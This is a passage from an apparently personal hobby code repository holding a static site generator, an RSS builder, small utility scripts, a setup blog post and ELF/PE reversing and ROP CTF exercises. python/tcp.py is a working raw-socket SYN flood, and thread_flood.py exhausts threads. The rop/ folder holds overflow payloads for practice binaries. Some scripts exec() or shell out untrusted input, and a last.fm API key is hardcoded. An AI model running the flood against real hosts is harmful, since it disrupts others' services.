parsing 35 | def parser(): 36 | desc = green('A simple and minimal static site generator.') 37 | usage = lightblue('vite') + ' [new | build | serve]' 38 | parser = argparse.ArgumentParser(description=desc, usage=usage) 39 | parser.add_argument('action', choices=['new', 'build', 'serve'], help='Commands to create, build and serve your project.') 40 | parser.add_argument('path', nargs='*') 41 | return parser 42 | 43 | 44 | # jinja2 45 | def jinja_render(html_text, TEMPL_FILE): 46 | template_loader = jinja2.FileSystemLoader('./') 47 | env = jinja2.Environment(loader=template_loader) 48 | template = env.get_template(TEMPL_FILE) 49 | output = template.render(title=config.title, 50 | author=config.author, 51 | header=config.header, 52 | footer=config.footer, 53 | body=html_text) 54 | return output 55 | 56 | 57 | def markdown_render(filename): 58 | html_text = markdown_path(PAGES_PATH + filename) 59 | return html_text 60 | 61 | 62 | def html_gen(): 63 | for page in os.listdir(PAGES_PATH): 64 | html_text = markdown_render(page) 65 | html_file= os.path.splitext(os.path.join(BUILD_PATH, page))[0] 66 | if not os.path.exists(html_file): 67 | os.mkdir(html_file) 68 | output = jinja_render(html_text, TEMPL_FILE) 69 | with open(os.path.join(html_file, 'index.html'), 'w') as f: 70 | f.write(output) 71 | print(run('Rendered %s.' % (page))) 72 | 73 | 74 | def server(): 75 | handler = http.server.SimpleHTTPRequestHandler 76 | os.chdir(BUILD_PATH) 77 | try: 78 | with socketserver.TCPServer(('', PORT), handler) as httpd: 79 | print(run(f'Serving the {italic("build")} directory at http://localhost:{PORT}')) 80 | print(white('Ctrl+C') + ' to stop.') 81 | httpd.serve_forever() 82 | except KeyboardInterrupt: 83 | print(info('Stopping server.')) 84 | httpd.socket.close() 85 | sys.exit(1) 86 | 87 | def builder(): 88 | start = time.process_time() 89 | if not os.listdir(PAGES_PATH): 90 | print(info(italic('pages') + ' directory is empty. Nothing to build.')) 91 | sys.exit(1) 92 | else: 93 | try: 94 | html_gen() 95 | if not os.path.exists(os.path.join(BUILD_PATH, 'static')): 96 | os.mkdir(os.path.join(BUILD_PATH, 'static')) 97 | copy_tree('static', os.path.join(BUILD_PATH, 'static')) 98 | print(good('Done in %0.5fs.' % (time.process_time() - start))) 99 | except jinja2.exceptions.TemplateNotFound: 100 | print(bad('Error: specified template not found: %s' % TEMPL_FILE)) 101 | 102 | 103 | def main(): 104 | try: 105 | args = parser().parse_args() 106 | project_path = args.path[0] 107 | except IndexError: 108 | parser.print_help() 109 | sys.exit(1) 110 | print(args) 111 | 112 | if args.serve: 113 | server() 114 | elif args.build: 115 | builder() 116 | elif args.new: 117 | vite.create_project(project_path) 118 | else: 119 | parser().print_help() 120 | sys.exit(1) 121 | 122 | if len(sys.argv) == 1: 123 | parser.print_help() 124 | sys.exit(1) 125 | 126 | 127 | if __name__ == "__main__": 128 | main() 129 | -------------------------------------------------------------------------------- /python/mom/test.py: -------------------------------------------------------------------------------- 1 | mom = "asdf" 2 | 3 | if mom <= "new": 4 | print(hi_mom) 5 | elif mom == "old": 6 | print("bye mom!") 7 | else: 8 | print("ok boomer") 9 | 10 | -------------------------------------------------------------------------------- /python/mqtt.py: -------------------------------------------------------------------------------- 1 | import paho.mqtt.client as mqtt 2 | 3 | def on_connect(client, userdata, flags, rc): 4 | client.connect("#") 5 | print("Connected with result code "+str(rc)) 6 | client.subscribe("$SYS/#") 7 | 8 | def on_message(client, userdata, msg): 9 | print(msg.topic+" "+str(msg.payload)) 10 | 11 | client = mqtt.Client() 12 | client.on_connect = on_connect 13 | client.on_message = on_message 14 | 15 | client.connect("m16.cloudmqtt.com", 17551, 60) 16 | 17 | client.loop_forever() 18 | 19 | -------------------------------------------------------------------------------- /python/np.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # np - a simple now playing script 3 | # requires a last.fm API key 4 | 5 | import requests 6 | 7 | API_KEY="767dc7e260f5facfe2a6f39496983d5b" # update with key here 8 | USER="icyphox" # your last.fm user 9 | URL=f"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&user={USER}&api_key={API_KEY}&format=json&limit=1&nowplaying=true" 10 | NOWPLAYING=False # current playing status 11 | r = requests.get(URL) 12 | data = r.json() 13 | print(data) 14 | if data['recenttracks']['track'][0]["@attr"]['nowplaying'] == "true": 15 | NOWPLAYING=True 16 | 17 | if NOWPLAYING: 18 | track = data['recenttracks']['track'][0]['name'] 19 | artist = data['recenttracks']['track'][0]['artist']['#text'] 20 | print(f"{track} by {artist} is currently playing") 21 | else: 22 | track = data['recenttracks']['track'][0]['name'] 23 | artist = data['recenttracks']['track'][0]['artist']['#text'] 24 | print(f"{trac} by {artist} was last played") 25 | -------------------------------------------------------------------------------- /python/poly.pl.php.py.rb.cpp.m: -------------------------------------------------------------------------------- 1 | #/* */ 2 | 3 | #include /* 4 | 5 | print (("b" + "0" == 0 and "Perl Code\n") or (0 and "Ruby Code\n" or "Python Code")); 6 | 7 | __DATA__ = 1 8 | """"" 9 | __END__ 10 | 11 | ===== . ===== */ 12 | 13 | #ifdef __OBJC__ 14 | char msg[17] = {'O','b','j','e','c','t','i','v','e','-','C',' ','C','o','d','e', '\n'}; 15 | #elif __cplusplus 16 | char msg[9] = {'C','+','+',' ','C','o','d','e', '\n'}; 17 | #else 18 | char msg[7] = {'C',' ','C','o','d','e', '\n'}; 19 | #endif 20 | 21 | int main() { int i; for(i = 0; i < 17; ++i) putchar(msg[i]); return 0;} /* 22 | 23 | outputs: 24 | 25 | $ perl polyglot.pl.php.py.rb.cpp.m 26 | Perl Code 27 | $ php polyglot.pl.php.py.rb.cpp.m 28 | #/*PHP Code 29 | $ python polyglot.pl.php.py.rb.cpp.m 30 | Python Code 31 | $ ruby polyglot.pl.php.py.rb.cpp.m 32 | Ruby Code 33 | $ g++ -x c++ polyglot.pl.php.py.rb.cpp.m -o poly; ./poly 34 | C++ Code 35 | $ g++ -x c polyglot.pl.php.py.rb.cpp.m -o poly; ./poly 36 | C Code 37 | $ gcc polyglot.pl.php.py.rb.cpp.m -o poly; ./poly # apple-darwin11-llvm-gcc 38 | Objective-C Code 39 | 40 | """ 41 | #*/ 42 | -------------------------------------------------------------------------------- /python/python-in-html/test.html: -------------------------------------------------------------------------------- 1 |

/home/icy/Code/asdf/python/python-in-html 2 |

3 |

rofl 4 |

5 | 6 | -------------------------------------------------------------------------------- /python/python-in-html/xmlparsing.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from io import StringIO 3 | import contextlib 4 | import bs4 5 | 6 | doc = open('test.html').read() 7 | soup = bs4.BeautifulSoup(doc, 'lxml') 8 | 9 | py = soup.find_all(id="#py") 10 | 11 | @contextlib.contextmanager 12 | def stdoutIO(stdout=None): 13 | old = sys.stdout 14 | if stdout is None: 15 | stdout = StringIO() 16 | sys.stdout = stdout 17 | yield stdout 18 | sys.stdout = old 19 | 20 | out = [] 21 | 22 | for tag in py: 23 | with stdoutIO() as s: 24 | exec(tag.text) 25 | out.append(s.getvalue()) 26 | 27 | for o,p in zip(out, py): 28 | p.string.replace_with(o) 29 | 30 | with open('test.html', 'w') as f: 31 | f.write(str(soup)) 32 | 33 | -------------------------------------------------------------------------------- /python/repl.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | cmd = sys.argv[1] 5 | 6 | print('Use Ctrl+D to quit') 7 | while True: 8 | print(f'{sys.argv[1]}>> ', end='') 9 | try: 10 | line = input().strip() 11 | except Exception as e: 12 | print(e) 13 | sys.exit() 14 | 15 | run = f'{cmd} {line}' 16 | os.system(run) 17 | 18 | -------------------------------------------------------------------------------- /python/replace_line.py: -------------------------------------------------------------------------------- 1 | with open('test.txt', 'r') as f: 2 | data = f.readlines() 3 | print(data) 4 | 5 | 6 | latest = data.index('# latest post\n') 7 | data[latest + 2] = 'bar' 8 | 9 | with open('test.txt', 'w') as f: 10 | f.writelines(data) 11 | -------------------------------------------------------------------------------- /python/rss/feed.xml.jinja2: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | icyphox's blog 5 | https://icyphox.sh/blog/ 6 | icyphox's blog 7 | 8 | 9 | icyphox logo 10 | https://icyphox.sh/icyphox.png 11 | https://icyphox.sh/blog/ 12 | 13 | en-us 14 | Creative Commons BY-NC-SA 4.0 15 | 16 | 17 | -------------------------------------------------------------------------------- /python/rss/pages/blog/my-setup.md: -------------------------------------------------------------------------------- 1 | --- 2 | template: text.html 3 | title: My Setup 4 | subtitle: My daily drivers — hardware, software and workflow 5 | date: 2019-05-13 6 | --- 7 | 8 | # My Setup 9 | ## My daily drivers — hardware and software 10 | 11 | ### Hardware 12 | 13 | The only computer I have with me is my [HP Envy 13 (2018)](https://store.hp.com/us/en/mdp/laptops/envy-13) (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, 14 | 8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to. 15 | 16 | For my phone, I use a [OnePlus 6T](https://www.oneplus.in/6t), running stock [OxygenOS](https://www.oneplus.in/oxygenos). As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. 17 | I’m also a proud owner of a [Nexus 5](https://en.wikipedia.org/wiki/Nexus_5), which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal. 18 | 19 | My watch is a [Samsung Gear S3 Frontier](https://www.samsung.com/in/wearables/gear-s3-frontier-r760/). Tizen is definitely better than Android Wear. 20 | 21 | My keyboard, although not with me in college, is a very old [Dell SK-8110](https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO). 22 | For the little bit of gaming that I do, I use a [HP m150](https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html) gaming mouse. It’s the perfect size (and color). 23 | 24 | For my music, I use the [Bose SoundLink II](https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html). 25 | Great pair of headphones, although the ear cups need replacing. 26 | 27 | ### And the software 28 | 29 | My distro of choice for the past ~1 year has been [elementary OS](https://elementary.io). I used to be an Arch Linux elitist, complete with an esoteric 30 | window manager, all riced. I now use whatever JustWorks™. 31 | 32 | **Update**: As of June 2019, I've switched over to a vanilla Debian 9 Stretch install, 33 | running [i3](https://i3wm.org) as my window manager. If you want, you can dig through my configs at my [dotfiles](https://github.com/icyphox/dotfiles) repo. 34 | 35 | Here’s a (riced) screenshot of my desktop. 36 | 37 | ![scrot](https://i.redd.it/jk574gworp331.png) 38 | 39 | Most of my work is done in either the browser, or the terminal. 40 | My shell is pure [zsh](http://www.zsh.org), as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need 41 | a framework. It’s useless bloat. The prompt itself is generated using a framework I built in [Nim](https://nim-lang.org) — [nicy](https://github.com/icyphox/nicy). 42 | My primary text editor is [nvim](https://neovim.org). Again, all configs in my dotfiles repo linked above. 43 | I manage all my passwords using [pass(1)](https://passwordstore.org), and I use [rofi-pass](https://github.com/carnager/rofi-pass) to access them via `rofi`. 44 | 45 | Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace 46 | clean and a single command to drop into a Kali shell. 47 | 48 | I use a DigitalOcean droplet (BLR1) as a public filehost, found at [x.icyphox.sh](https://x.icyphox.sh). The UI is the wonderful [serve](https://github.com/zeit/serve), by [ZEIT](https://zeit.co). 49 | The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. 50 | 51 | I plan on converting my desktop back at home into a homeserver setup. Soon™. 52 | -------------------------------------------------------------------------------- /python/rss/rss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # generate an rss item 3 | 4 | import html 5 | from markdown2 import markdown 6 | import sys 7 | import os 8 | import re 9 | import arrow 10 | import operator 11 | import warnings 12 | 13 | warnings.simplefilter("ignore", arrow.factory.ArrowParseWarning) 14 | items_raw = [] 15 | import xml.etree.ElementTree as ET 16 | 17 | 18 | def convert_date(d): 19 | return arrow.get(d, "YYYY-MM-DD").format("ddd, DD MMM YYYY HH:mm:ss Z") 20 | 21 | 22 | PREFIX_URL = "https://icyphox.sh/blog/" 23 | 24 | 25 | def generate_node(path): 26 | with open(path) as f: 27 | rendered = markdown( 28 | f.read(), 29 | extras=[ 30 | "metadata", 31 | "fenced-code-blocks", 32 | "header-ids", 33 | "footnotes", 34 | "smarty-pants", 35 | ], 36 | ) 37 | 38 | item = ET.Element("item") 39 | title = ET.SubElement(item, "title") 40 | title.text = rendered.metadata["title"] 41 | description = ET.SubElement(item, "description") 42 | description.text = rendered 43 | link_extractor = re.compile("\/([^\/]*)\.md$") 44 | link = ET.SubElement(item, "link") 45 | link.text = PREFIX_URL + link_extractor.search(path).group(1) 46 | pubData = ET.SubElement(item, "pubDate") 47 | pubData.text = convert_date(rendered.metadata["date"]) 48 | 49 | # TODO: guid 50 | 51 | return item 52 | 53 | 54 | def parse_article(path): 55 | with open(path) as f: 56 | rendered = markdown( 57 | f.read(), 58 | extras=[ 59 | "metadata", 60 | "fenced-code-blocks", 61 | "header-ids", 62 | "footnotes", 63 | "smarty-pants", 64 | ], 65 | ) 66 | return (arrow.get(rendered.metadata["date"]), path) 67 | 68 | 69 | tree = ET.parse("feed.xml.jinja2") 70 | articles = [] 71 | 72 | for f in os.listdir("pages/blog/"): 73 | if f != "_index.md": 74 | articles.append(parse_article(os.path.join("pages/blog", f))) 75 | 76 | articles.sort(key=operator.itemgetter(0), reverse=True) 77 | 78 | chan = tree.find("channel") 79 | 80 | for article in articles: 81 | chan.append(generate_node(article[1])) 82 | 83 | ET.dump(tree) 84 | 85 | -------------------------------------------------------------------------------- /python/runqueue.py: -------------------------------------------------------------------------------- 1 | class Runqueue: 2 | def __init__(self): 3 | from collections import deque 4 | self.queue = deque() 5 | 6 | def add(self, fn, *args, **kwargs): 7 | g = fn(*args, **kwargs) 8 | self.queue.append(g) 9 | 10 | def schedule(self): 11 | while self.queue: 12 | task = self.queue[0] 13 | try: 14 | next(task) 15 | except StopIteration: 16 | self.queue.popleft() 17 | else: 18 | self.queue.rotate(-1) 19 | 20 | def foo(): 21 | for i in range(10): 22 | print("in foo():", i) 23 | yield 24 | 25 | def bar(): 26 | for i in range(5): 27 | print("in bar():", i) 28 | yield 29 | 30 | if __name__ == "__main__": 31 | rq = Runqueue() 32 | rq.add(foo) 33 | rq.add(bar) 34 | rq.schedule() 35 | -------------------------------------------------------------------------------- /python/substr_line.py: -------------------------------------------------------------------------------- 1 | import fileinput 2 | 3 | for line in fileinput.FileInput('./test.txt', inplace=1): 4 | if "# all posts\n" in line: 5 | line = line.replace(line, line + "\nsome text here\n") 6 | print(line, end='') 7 | -------------------------------------------------------------------------------- /python/tcp.py: -------------------------------------------------------------------------------- 1 | import socket, sys 2 | from struct import * 3 | 4 | def checksum(msg): 5 | s = 0 6 | for i in range(0, len(msg), 2): 7 | w = (ord(msg[i]) << 8) + (ord(msg[i+1]) ) 8 | s = s + w 9 | 10 | s = (s>>16) + (s & 0xffff); 11 | s = ~s & 0xffff 12 | 13 | return s 14 | 15 | try: 16 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) 17 | except socket.error , msg: 18 | print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] 19 | sys.exit() 20 | 21 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 22 | 23 | packet = ''; 24 | 25 | 26 | source_ip = str(raw_input("Enter the source IP (xx.xx.xx.xx)")) 27 | dest_ip = str(raw_input("Enter the destination IP (xx.xx.xx.xx)")) 28 | 29 | ihl = 5 30 | version = 4 31 | tos = 0 32 | tot_len = 20 + 20 33 | id = 54321 34 | frag_off = 0 35 | ttl = 255 36 | protocol = socket.IPPROTO_TCP 37 | check = 10 38 | saddr = socket.inet_aton ( source_ip ) 39 | daddr = socket.inet_aton ( dest_ip ) 40 | 41 | ihl_version = (version << 4) + ihl 42 | 43 | ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) 44 | 45 | source = 1234 # source port 46 | dest = raw_input("Enter the destination port. Preferably 80 for webservers.") # destination port 47 | seq = 0 48 | ack_seq = 0 49 | doff = 5 50 | 51 | fin = 0 52 | syn = 1 53 | rst = 0 54 | psh = 0 55 | ack = 0 56 | urg = 0 57 | window = socket.htons (5840) 58 | check = 0 59 | urg_ptr = 0 60 | 61 | offset_res = (doff << 4) + 0 62 | tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5) 63 | 64 | tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) 65 | 66 | source_address = socket.inet_aton( source_ip ) 67 | dest_address = socket.inet_aton(dest_ip) 68 | placeholder = 0 69 | protocol = socket.IPPROTO_TCP 70 | tcp_length = len(tcp_header) 71 | 72 | psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); 73 | psh = psh + tcp_header; 74 | 75 | tcp_checksum = checksum(psh) 76 | tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr) 77 | 78 | packet = ip_header + tcp_header 79 | 80 | while True: 81 | s.sendto(packet, (dest_ip , 0 )) 82 | print "Flooding target" 83 | -------------------------------------------------------------------------------- /python/test.txt: -------------------------------------------------------------------------------- 1 | asdklfjlkjdf 2 | asdlfkjsfk 3 | 4 | # latest post 5 | 6 | bar 7 | jsdflkajsflk 8 | 9 | # all posts 10 | 11 | some text here 12 | some text here 13 | 14 | some text here 15 | ljkjsdflajsdfk 16 | 17 | -------------------------------------------------------------------------------- /python/thread_flood.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | from time import sleep 3 | from itertools import count 4 | 5 | def foo(): 6 | sleep(60) 7 | 8 | 9 | for i in count(): 10 | print(f"creating {i} thread") 11 | Thread(target=foo).start() 12 | -------------------------------------------------------------------------------- /python/threadd.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | from itertools import count 3 | 4 | def foo(): 5 | for i in range(10): 6 | print("in foo():", i) 7 | 8 | def bar(): 9 | for i in range(5): 10 | print("in bar():", i) 11 | 12 | if __name__ == "__main__": 13 | t1 = Thread(target=foo) 14 | t2 = Thread(target=bar) 15 | t1.start() 16 | t2.start() 17 | -------------------------------------------------------------------------------- /python/update_index.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from markdown2 import markdown_path 4 | import os 5 | import fileinput 6 | import sys 7 | 8 | # change our cwd 9 | os.chdir("bin") 10 | 11 | blog = "../pages/blog/" 12 | 13 | # order files by recency 14 | def getrecents(path): 15 | files = [path + f for f in os.listdir(blog) if f not in ["_index.md", "feed.xml"]] 16 | files.sort( 17 | key=lambda f: markdown_path(f, extras=["metadata"]).metadata["date"], 18 | reverse=True, 19 | ) 20 | return files 21 | 22 | 23 | def update_index(posts): 24 | path = "../pages/_index.md" 25 | with open(path, "r") as f: 26 | md = f.readlines() 27 | ruler = md.index("| --- | --: |\n") 28 | for post, i in zip(posts, range(4)): 29 | md[ruler + i] = post + "\n" 30 | 31 | with open(path, "w") as f: 32 | f.writelines(md) 33 | 34 | 35 | def update_blog(s): 36 | path = "../pages/blog/_index.md" 37 | s = s + "\n" 38 | for l in fileinput.FileInput(path, inplace=1): 39 | if "--:" in l: 40 | l = l.replace(l, l + s) 41 | print(l, end=""), 42 | 43 | 44 | top_four = [] 45 | metas = [] 46 | lines = [] 47 | fnames = [] 48 | 49 | for i in range(4): 50 | top_four.append(getrecents(blog)[i]) 51 | metas.append(markdown_path(getrecents(blog)[i], extras=["metadata"]).metadata) 52 | fnames.append(os.path.basename(os.path.splitext(getrecents(blog)[i])[0])) 53 | 54 | for meta, fname in zip(metas, fnames): 55 | url = "/blog/" + fname 56 | lines.append(f"| [{meta['title']}]({url}) | `{meta['date']}` |") 57 | 58 | update_index(lines) 59 | update_blog(lines[0]) 60 | -------------------------------------------------------------------------------- /reversing-elf/bin.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | char *pw = malloc(10); 7 | pw[0] = 'a'; 8 | for(int i = 1; i <= 8; i++){ 9 | pw[i] = pw[i - 1] + 1; 10 | } 11 | pw[9] = '\0'; 12 | char *in = malloc(10); 13 | printf("password: "); 14 | fgets(in, 10, stdin); 15 | if(strcmp(in, pw) == 0) { 16 | printf("haha yes!\n"); 17 | } 18 | else { 19 | printf("nah dude\n"); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /reversing-elf/debug.py: -------------------------------------------------------------------------------- 1 | from pydbg import * 2 | import sys 3 | 4 | def breakpoint_handler(dbg): 5 | print(dbg.dump_context()) 6 | return DBG_CONTINUE 7 | 8 | dbg = pydbg() 9 | dbg.set_callback(EXCEPTION_BREAKPOINT, breakpoint_handler) 10 | dbg.attach(int(sys.argv[1])) 11 | dbg.bp_set(int(sys.argv[1], 16), "", 1) 12 | dbg.debug_event_loop() 13 | -------------------------------------------------------------------------------- /reversing-elf/disas1.py: -------------------------------------------------------------------------------- 1 | from elftools.elf.elffile import ELFFile 2 | from capstone import * 3 | 4 | with open('./chall.elf', 'rb') as f: 5 | elf = ELFFile(f) 6 | code = elf.get_section_by_name('.text') 7 | ops = code.data() # returns a bytestring with the opcodes 8 | addr = code['sh_addr'] # starting address of `.text` 9 | md = Cs(CS_ARCH_X86, CS_MODE_64) 10 | for i in md.disasm(ops, addr): # looping through each opcode 11 | print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}") 12 | -------------------------------------------------------------------------------- /reversing-elf/disasmain.py: -------------------------------------------------------------------------------- 1 | from elftools.elf.elffile import ELFFile 2 | from capstone import * 3 | 4 | with open('./chall.elf', 'rb') as f: 5 | elf = ELFFile(f) 6 | code = elf.get_section_by_name('.text') 7 | ops = code.data() # returns a bytestring with the opcodes 8 | addr = code['sh_addr'] # starting address of `.text` 9 | md = Cs(CS_ARCH_X86, CS_MODE_64) 10 | for i in md.disasm(ops, 0x7aa): # looping through each opcode 11 | print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}") 12 | -------------------------------------------------------------------------------- /reversing-elf/notes: -------------------------------------------------------------------------------- 1 | - the first `call` instr is a qword ptr - *pw 2 | 0x6ca + 0x200916 = 0x200fe0 which is in 3 | - lea rdi - [0x1751 + 0x200939] 4 | - 5 | -------------------------------------------------------------------------------- /reversing-elf/relocations.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from elftools.elf.elffile import ELFFile 3 | from elftools.elf.relocation import RelocationSection 4 | 5 | with open('./chall.elf', 'rb') as f: 6 | e = ELFFile(f) 7 | for section in e.iter_sections(): 8 | if isinstance(section, RelocationSection): 9 | print(f'{section.name}:') 10 | symbol_table = e.get_section(section['sh_link']) 11 | for relocation in section.iter_relocations(): 12 | symbol = symbol_table.get_symbol(relocation['r_info_sym']) 13 | addr = hex(relocation['r_offset']) 14 | print(f'{symbol.name} {addr}') 15 | -------------------------------------------------------------------------------- /reversing-elf/sections.py: -------------------------------------------------------------------------------- 1 | from elftools.elf.elffile import ELFFile 2 | 3 | with open('./bin.elf', 'rb') as f: 4 | e = ELFFile(f) 5 | for section in e.iter_sections(): 6 | print(hex(section['sh_addr']), section.name, section['sh_size']) 7 | -------------------------------------------------------------------------------- /reversing-pe/chall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | char *pw = malloc(10); 7 | pw[0] = 'a'; 8 | for(int i = 1; i <= 8; i++){ 9 | pw[i] = pw[i - 1] + 1; 10 | } 11 | pw[9] = '\0'; 12 | char *in = malloc(10); 13 | printf("password: "); 14 | fgets(in, 10, stdin); 15 | if(strcmp(in, pw) == 0) { 16 | printf("haha yes!\n"); 17 | } 18 | else { 19 | printf("nah dude\n"); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /reversing-pe/chall.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/reversing-pe/chall.exe -------------------------------------------------------------------------------- /reversing-pe/disas1.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | 3 | pe = pefile.PE('/home/icy/.wine/drive_c/windows/system32/notepad.exe') 4 | print(pe.OPTIONAL_HEADER) 5 | print(pe.FILE_HEADER) 6 | 7 | for section in pe.sections: 8 | print(section.Name, 9 | hex(section.VirtualAddress), 10 | hex(section.Misc_VirtualSize), 11 | section.SizeOfRawData) 12 | -------------------------------------------------------------------------------- /rop/.gdb_history: -------------------------------------------------------------------------------- 1 | ls 2 | python -c 'print "A"*40' > input 3 | python -c 'print("A"*40)' > input 4 | python -c "print 'A' * 40" > input 5 | python -c 'print "A" * 40' 6 | python 7 | print 'A' * 40 > input 8 | ls 9 | pwndbg 10 | pwndbg python 11 | `python -c 'print "A" * 40' > input` 12 | zsh 13 | r < input 14 | si 15 | ni 16 | zsh 17 | r < input 18 | python 19 | help 20 | exit 21 | cat input 22 | echo 23 | zsh 24 | r < input 25 | zsh 26 | r < input 27 | pattern_create 100 input 28 | cat input 29 | r < input 30 | pattern_search 31 | r2 32 | r < input 33 | r < input 34 | r < input 35 | pattern_generate 50 input 36 | pattern_create 50 input 37 | r < input 38 | pattern_create 50 input 39 | r < input 40 | r 41 | clear 42 | run 43 | r 44 | r < input 45 | pattern_search 46 | r < input 47 | r < input 48 | r 49 | r 50 | pattern_create 40 input 51 | r < inpt 52 | r < input 53 | pattern_create 50 input 54 | r < input 55 | pattern_search 56 | r < input 57 | r < input 58 | info reg 59 | r < input 60 | pattern_search 61 | r 62 | r < input 63 | r 64 | r < input 65 | r 66 | r 67 | r < input 68 | r < input 69 | r < input 70 | r < input 71 | r < input 72 | r < input 73 | r < input 74 | r < input 75 | r < input 76 | r < input 77 | pattern_create 50 inpu 78 | r < inpu 79 | r < inpu 80 | r < inpu 81 | pattern_create 50 inpu 82 | r < inpu 83 | r < input 84 | r 85 | r < input 86 | r < input 87 | r < input 88 | r < input 89 | r < input 90 | r < input 91 | r < input 92 | r < input 93 | disassemble usefulFunction 94 | info functions 95 | info functions 96 | disassemble usefulFunction 97 | r 98 | r 99 | r < input 100 | r 101 | r 102 | r 103 | r 104 | r 105 | r 106 | pattern_create 50 input 107 | r < input 108 | pattern_search 109 | -------------------------------------------------------------------------------- /rop/ex_ret2win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | print 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK' + p32(0x08048659) 4 | -------------------------------------------------------------------------------- /rop/ex_split.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | print 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK' + p32(0x08048649) 4 | -------------------------------------------------------------------------------- /rop/flag.txt: -------------------------------------------------------------------------------- 1 | ROPE{a_placeholder_32byte_flag!} 2 | -------------------------------------------------------------------------------- /ruby/file.rb: -------------------------------------------------------------------------------- 1 | require "fileutils" 2 | 3 | path = ARGV.first 4 | 5 | file_contents = File.read(path) 6 | file_contents.puts 7 | -------------------------------------------------------------------------------- /ruby/methods.rb: -------------------------------------------------------------------------------- 1 | def test 2 | # no args 3 | puts "no args mate" 4 | end 5 | 6 | def main 7 | test 8 | var1 = "kek9" 9 | test_args(var1) 10 | end 11 | 12 | def test_args(var) 13 | puts "#{var}" 14 | end 15 | # no () 16 | main 17 | -------------------------------------------------------------------------------- /ruby/repl.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # repl(1) -- sometimes you need a repl 4 | # 5 | # repl is an interactive program which tenderly wraps another, 6 | # non-interactive program. 7 | # 8 | # For example: 9 | # 10 | # $ repl redis-cli 11 | # >> set name chris 12 | # OK 13 | # >> get name 14 | # chris 15 | # 16 | # If you have rlwrap(1) installed you'll get the full benefits of 17 | # readline: history, reverse searches, etc. 18 | 19 | def show_help 20 | puts <<-help 21 | Usage: repl [options] command ... 22 | 23 | Options: 24 | --help Display this message 25 | --stdin Pipe input to command's STDIN 26 | --debug Display each command executed 27 | --man Display the man page 28 | 29 | Bug reports, suggestions, updates: 30 | http://github.com/defunkt/repl/issues 31 | help 32 | exit 33 | end 34 | 35 | if ARGV.empty? || ARGV.any? { |arg| %w( -h --help -help help ).include?(arg) } 36 | show_help 37 | end 38 | 39 | if ARGV.include? '--man' 40 | dir = File.dirname(__FILE__) 41 | exec "man #{dir}/../man/repl.1" 42 | end 43 | 44 | completion_dir = ENV['REPL_COMPLETION_DIR'] || "~/.repl" 45 | if File.exists?(cdir = File.expand_path(completion_dir)) 46 | script = ARGV.detect { |a| a !~ /^-/ } 47 | if script 48 | cfile = Dir[cdir + '/' + File.basename(script)].first 49 | cfile = nil if cfile && !File.exists?(cfile) 50 | end 51 | end 52 | 53 | history_dir = ENV['REPL_HISTORY_DIR'] || "~/" 54 | if File.exists?(hdir = File.expand_path(history_dir)) 55 | if script = ARGV.detect { |a| a !~ /^-/ } 56 | script = File.basename(script) 57 | hfile = "#{hdir}/.#{script}_history" 58 | end 59 | end 60 | 61 | if !ENV['__REPL_WRAPPED'] && system("which rlwrap > /dev/null 2> /dev/null") 62 | ENV['__REPL_WRAPPED'] = '0' 63 | 64 | rlargs = "" 65 | rlargs << " -f #{cfile}" if cfile 66 | rlargs << " -H #{hfile}" if hfile 67 | 68 | exec "rlwrap #{rlargs} #$0 #{ARGV.join(' ')}" 69 | end 70 | 71 | if ARGV[0] == '--debug' 72 | debug = ARGV.delete('--debug') 73 | end 74 | 75 | if ARGV.include? '--stdin' 76 | from_stdin = ARGV.delete('--stdin') 77 | end 78 | 79 | command = ARGV.join(' ') 